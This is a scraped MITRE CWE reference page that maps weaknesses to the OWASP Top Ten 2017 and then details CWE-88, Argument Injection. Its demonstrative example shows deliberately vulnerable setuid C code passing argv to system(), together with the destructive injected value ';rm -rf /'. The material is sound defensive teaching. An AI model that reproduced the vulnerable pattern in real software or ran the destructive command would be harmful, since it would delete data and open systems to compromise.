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A Community-Developed List of Software Weakness Types

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Home > CWE List > VIEW SLICE: CWE-1026: Weaknesses in OWASP Top Ten (2017) (3.1)  
ID

CWE VIEW: Weaknesses in OWASP Top Ten (2017)

View ID: 1026
Type: Graph
Status: Incomplete
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+ Objective
CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.
+ Audience
StakeholderDescription
Software DevelopersThis view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.
Software CustomersThis view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.
EducatorsSince the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and classes exist to group weaknesses. A category is a CWE entry that contains a set of other entries that share a common characteristic. Classes are weaknesses that is described in a very abstract fashion, typically independent of any specific language or technology and are more general than a base weakness. Within classes, base level weaknesses are used to present a more specific type of weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. A composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
1026 - Weaknesses in OWASP Top Ten (2017)
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A1 - Injection - (1027)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection)
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2017.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Neutralization of Special Elements used in a Command ('Command Injection') - (77)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))
The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Argument Injection or Modification - (88)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 88 (Argument Injection or Modification)
The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - (90)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.XML Injection (aka Blind XPath Injection) - (91)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 91 (XML Injection (aka Blind XPath Injection))
The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.SQL Injection: Hibernate - (564)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 564 (SQL Injection: Hibernate)
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - (917)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 917 (Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))
The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.EL Injection
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Neutralization of Special Elements in Data Query Logic - (943)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1027 (OWASP Top Ten 2017 Category A1 - Injection) > 943 (Improper Neutralization of Special Elements in Data Query Logic)
The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A2 - Broken Authentication - (1028)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication)
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2017.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Authentication - (287)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 287 (Improper Authentication)
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.authentificationAuthC
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Unprotected Storage of Credentials - (256)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 256 (Unprotected Storage of Credentials)
Storing a password in plaintext may result in a system compromise.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of Single-factor Authentication - (308)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 308 (Use of Single-factor Authentication)
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
*CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.Session Fixation - (384)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 384 (Session Fixation)
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Insufficiently Protected Credentials - (522)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 522 (Insufficiently Protected Credentials)
This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Unprotected Transport of Credentials - (523)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 523 (Unprotected Transport of Credentials)
Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Insufficient Session Expiration - (613)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 613 (Insufficient Session Expiration)
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Unverified Password Change - (620)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 620 (Unverified Password Change)
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Weak Password Recovery Mechanism for Forgotten Password - (640)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1028 (OWASP Top Ten 2017 Category A2 - Broken Authentication) > 640 (Weak Password Recovery Mechanism for Forgotten Password)
The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure - (1029)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure)
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2017.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Sensitive Data Under FTP Root - (220)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 220 (Sensitive Data Under FTP Root)
The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Certificate Validation - (295)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 295 (Improper Certificate Validation)
The software does not validate, or incorrectly validates, a certificate.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Encryption of Sensitive Data - (311)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 311 (Missing Encryption of Sensitive Data)
The software does not encrypt sensitive or critical information before storage or transmission.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Cleartext Storage of Sensitive Information - (312)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 312 (Cleartext Storage of Sensitive Information)
The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Cleartext Transmission of Sensitive Information - (319)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 319 (Cleartext Transmission of Sensitive Information)
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.Key Management Errors - (320)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 320 (Key Management Errors)
Weaknesses in this category are related to errors in the management of cryptographic keys.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Missing Required Cryptographic Step - (325)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 325 (Missing Required Cryptographic Step)
The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Inadequate Encryption Strength - (326)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 326 (Inadequate Encryption Strength)
The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Use of a Broken or Risky Cryptographic Algorithm - (327)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Reversible One-Way Hash - (328)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 328 (Reversible One-Way Hash)
The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Exposure of Private Information ('Privacy Violation') - (359)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1029 (OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure) > 359 (Exposure of Private Information ('Privacy Violation'))
The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.Privacy leakPrivacy leakage
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A4 - XML External Entities (XXE) - (1030)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1030 (OWASP Top Ten 2017 Category A4 - XML External Entities (XXE))
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2017.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Improper Restriction of XML External Entity Reference ('XXE') - (611)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1030 (OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)) > 611 (Improper Restriction of XML External Entity Reference ('XXE'))
The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.XXE
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') - (776)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1030 (OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)) > 776 (Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'))
The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.XEEBillion Laughs AttackXML Bomb
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A5 - Broken Access Control - (1031)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control)
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2017.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Access Control - (284)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control) > 284 (Improper Access Control)
The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.Authorization
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.Improper Authorization - (285)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control) > 285 (Improper Authorization)
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.AuthZ
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Direct Request ('Forced Browsing') - (425)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control) > 425 (Direct Request ('Forced Browsing'))
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.forced browsing
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Authorization Bypass Through User-Controlled Key - (639)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1031 (OWASP Top Ten 2017 Category A5 - Broken Access Control) > 639 (Authorization Bypass Through User-Controlled Key)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.Insecure Direct Object ReferenceHorizontal Authorization
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A6 - Security Misconfiguration - (1032)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1032 (OWASP Top Ten 2017 Category A6 - Security Misconfiguration)
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2017.
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.Configuration - (16)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1032 (OWASP Top Ten 2017 Category A6 - Security Misconfiguration) > 16 (Configuration)
Weaknesses in this category are typically introduced during the configuration of the software.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Information Exposure Through an Error Message - (209)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1032 (OWASP Top Ten 2017 Category A6 - Security Misconfiguration) > 209 (Information Exposure Through an Error Message)
The software generates an error message that includes sensitive information about its environment, users, or associated data.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Information Exposure Through Directory Listing - (548)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1032 (OWASP Top Ten 2017 Category A6 - Security Misconfiguration) > 548 (Information Exposure Through Directory Listing)
A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS) - (1033)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1033 (OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS))
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2017.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1033 (OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A8 - Insecure Deserialization - (1034)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1034 (OWASP Top Ten 2017 Category A8 - Insecure Deserialization)
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2017.
*VariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.Deserialization of Untrusted Data - (502)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1034 (OWASP Top Ten 2017 Category A8 - Insecure Deserialization) > 502 (Deserialization of Untrusted Data)
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.Marshaling, UnmarshalingPickling, Unpickling
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - (1035)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1035 (OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities)
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring - (1036)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1036 (OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring)
Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2017.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Omission of Security-relevant Information - (223)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1036 (OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring) > 223 (Omission of Security-relevant Information)
The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
*BaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.Insufficient Logging - (778)
1026 (Weaknesses in OWASP Top Ten (2017)) > 1036 (OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring) > 778 (Insufficient Logging)
When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.
+ Notes

Relationship

The relationships in this view have been pulled directly from the 2017 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.
+ References
[REF-957] "Top 10 2017". OWASP. 2017-04-12. <https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses41out of 716
Categories12out of 247
Views0out of 32
Total53out of995
+ Content History
Submissions
Submission DateSubmitterOrganization
2013-07-16CWE Content TeamMITRE
Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated References

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CWE-88: Argument Injection or Modification

Weakness ID: 88
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Read Application Data; Modify Application Data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.
+ Demonstrative Examples

Example 1

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

+ Observed Examples
ReferenceDescription
Canonical Example
Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.
